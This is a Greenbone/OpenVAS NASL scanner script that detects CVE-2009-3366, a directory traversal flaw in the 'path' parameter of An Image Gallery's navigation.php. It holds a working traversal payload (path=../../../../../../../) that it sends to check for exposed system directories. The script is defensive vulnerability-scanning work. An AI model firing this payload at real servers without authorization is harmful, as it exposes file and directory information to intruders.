An Image Gallery Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.901037");
  script_version("2025-03-05T05:38:52+0000");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:52 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2009-10-01 12:15:29 +0200 (Thu, 01 Oct 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_cve_id("CVE-2009-3366");
  script_name("An Image Gallery Directory Traversal Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_xref(name:"URL", value:"http://secunia.com/advisories/36680");
  script_xref(name:"URL", value:"http://www.milw0rm.com/exploits/9636");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/53148");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to gain information
  about directory and file locations.");

  script_tag(name:"affected", value:"An Image Gallery version 1.0 and prior.");

  script_tag(name:"insight", value:"Input passed to the 'path' parameter in 'navigation.php' is not
  properly verified before being used to generate and display folder contents.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"An Image Gallery is prone to a directory traversal vulnerability.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/", "/image_gallery", "/gallery", "/album", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";

  rcvRes = http_get_cache( item: dir + "/main.php", port:port );

  if( "An image gallery" >< rcvRes ) {

    url = dir + "/navigation.php?path=../../../../../../../";

    if( http_vuln_check( port:port, url:url, pattern:"(WINDOWS|root)", check_header:TRUE ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );